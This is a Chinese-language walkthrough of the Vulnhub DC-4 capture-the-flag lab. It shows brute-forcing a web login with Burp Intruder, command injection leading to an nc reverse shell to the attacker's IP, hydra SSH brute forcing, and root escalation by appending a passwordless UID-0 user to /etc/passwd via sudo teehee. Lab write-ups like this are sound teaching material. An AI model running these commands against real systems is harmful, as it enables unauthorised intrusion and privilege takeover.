Vulnhub渗透靶机系列----DC4
下载地址
http://www.five86.com/downloads/DC-4.zip
环境说明
靶机:10.139.10.145
攻击机:10.139.10.152
信息收集
查看靶机mac地址
sudo netdiscover -r 10.139.10.0/24
通过对比mac地址可知ip为10.139.10.145,进行端口扫描
可以看到开放22端口与80端口
暴力破解
先访问80端口,发现登录框,在此之前还用dirsearch扫了下目录,没发现什么东西。
不用说肯定要爆破账密,账户都不用猜,肯定是admin,用插件挂代理,用burpsuite抓包,发送到intruder模块-Clear $
密码处选中,然后Add$(因为这里我只爆破密码,所有只选密码)
在payload功能选中我的事先准备好密码本,下面是我的密码本
链接:https://pan.baidu.com/s/1BNPemaUvadkfB-0-pMSNXA?pwd=jehm
提取码:jehm
load载入密码本,然后start attack开始攻击
通过长度不同,找出happy,通过测试登录,发现成功登录
反弹shell
发现是在执行ls -l的命令,先看看看前端代码
发现可以改前端代码,改命令刷新会重新执行自己写的命令,那我们可以往里面写木马了
靶机
nc -e /bin/bash 10.139.10.152 4444
攻击机
nc -lnvp 4444
成功反弹shell
cd /home
ls
//charles jim sam 发现三个用户
提权
关于提权首先先试用了find提权,发现没有合适的提权命令,可以看我的dc1提权,里面提到哪些命令经常被用来提权
find / -perm -4000
然后使用sudo 提权,不出东西
sudo -l
想到之前扫描到ssh开放的端口,那么大概率是ssh连接这三个用户,
去用户,一般先找线索,
cd /home
cd jim
ls
//发现backups文件
cd bakcups
//发现一个密码本,明示我们去爆破ssh
cat old-passwords.bak
将里面的内容手动保存到一个文档中,我这里保存在名字为dc4的文档中
这里我使用hydra工具进行爆破
sudo hydra -l jim -P dc4 10.139.10.145 ssh
成功爆破出密码jibril04
登录ssh
ssh jim@10.139.10.145
刚开始没注意,后来发现,连上的时候是发了一段消息的
you have mail
去日志下找邮件
cd /var/mail
cat jim
挑出关键的几句,可以看到发件人是charles,然后他把他的密码^xHhA&hvim0y给了jim
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O
Hi Jim,
I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.
Password is: ^xHhA&hvim0y
那就ssh连charles
随意查找了一遍,没啥收获,那就还是提权三板斧走起
先suid提权,发现没啥可利用的命令
find /-perm -4000
然后sudo提权
sudo -l
基本赤裸裸告诉我们用teehee去提权
teehee提权
teehee --help
//查看有没有可利用的参数
发现-a可以添加内容往里面
可以在用户中添加一个root权限用户,而这个添加文件是在/etc/passwd下,首先要理解passwd的用户格式,文章末尾有知识补充
echo "baidada::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
切换我们刚才添加的用户
su baidada
id
//root权限
cd /root
ls
cat flag.txt
得到最终flag
passwd文件知识补充
用户管理有两个最重要的配置文件,一个是保存用户信息的文件/etc/passwd,一个是保存了用户密码的文件/etc/shadow,这里介绍/etc/passwd文件
lucid_fan::0:0:::/bin/bash
拿lucid_fan这个用户举例
每一位用 : 间隔开
用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
口令
这里可以看到口令是为空,就代表不需要密码,如果是x的话代表密码加密真正的密码存放在/etc/shadow文件下
登录shell
这里是/bin/bash代表可登录用户的意思,/bin/false是不可登录
这个在应急响应中也是经常要注意的。